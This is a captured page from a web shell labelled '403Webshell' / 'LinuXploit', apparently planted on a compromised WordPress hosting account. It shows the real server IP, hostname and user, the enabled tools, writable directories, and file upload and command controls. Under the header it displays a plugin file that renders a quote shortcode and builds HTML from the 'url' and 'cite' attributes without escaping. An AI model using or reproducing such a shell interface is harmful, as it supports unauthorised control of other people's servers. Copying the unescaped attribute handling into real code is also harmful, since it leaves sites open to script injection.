403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.224
Web Server : Apache
System : Linux webm010.cluster128.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : institutah ( 16501)
PHP Version : 7.2.34
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/institutah/www/wp-content/plugins/shortcodes-ultimate/includes/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/institutah/www/wp-content/plugins/shortcodes-ultimate/includes/shortcodes/quote.php
<?php

su_add_shortcode( array(
		'id' => 'quote',
		'callback' => 'su_shortcode_quote',
		'image' => su_get_plugin_url() . 'admin/images/shortcodes/quote.svg',
		'name' => __( 'Quote', 'shortcodes-ultimate' ),
		'type' => 'wrap',
		'group' => 'box',
		'atts' => array(
			'style' => array(
				'type' => 'select',
				'values' => array(
					'default' => __( 'Default', 'shortcodes-ultimate' )
				),
				'default' => 'default',
				'name' => __( 'Style', 'shortcodes-ultimate' ),
				'desc' => __( 'Choose style for this quote', 'shortcodes-ultimate' ) . '%su_skins_link%'
			),
			'cite' => array(
				'default' => '',
				'name' => __( 'Cite', 'shortcodes-ultimate' ),
				'desc' => __( 'Quote author name', 'shortcodes-ultimate' )
			),
			'url' => array(
				'values' => array( ),
				'default' => '',
				'name' => __( 'Cite url', 'shortcodes-ultimate' ),
				'desc' => __( 'Url of the quote author. Leave empty to disable link', 'shortcodes-ultimate' )
			),
			'class' => array(
				'type' => 'extra_css_class',
				'name' => __( 'Extra CSS class', 'shortcodes-ultimate' ),
				'desc' => __( 'Additional CSS class name(s) separated by space(s)', 'shortcodes-ultimate' ),
				'default' => '',
			),
		),
		'content' => __( 'Quote', 'shortcodes-ultimate' ),
		'desc' => __( 'Blockquote alternative', 'shortcodes-ultimate' ),
		'icon' => 'quote-right',
	) );

function su_shortcode_quote( $atts = null, $content = null ) {

	$atts = shortcode_atts( array(
			'style' => 'default',
			'cite'  => false,
			'url'   => false,
			'class' => ''
		), $atts, 'quote' );

	$cite_link = $atts['url'] && $atts['cite']
		? '<a href="' . $atts['url'] . '" target="_blank">' . $atts['cite'] . '</a>'
		: $atts['cite'];

	$cite = $atts['cite']
		? '<span class="su-quote-cite">' . $cite_link . '</span>'
		: '';

	$cite_class = $atts['cite']
		? ' su-quote-has-cite'
		: '';

	su_query_asset( 'css', 'su-shortcodes' );

	return '<div class="su-quote su-quote-style-' . $atts['style'] . $cite_class . su_get_css_class( $atts ) . '"><div class="su-quote-inner su-u-clearfix su-u-trim">' . do_shortcode( $content ) . su_do_attribute( $cite ) . '</div></div>';

}

Youez - 2016 - github.com/yon3zu
LinuXploit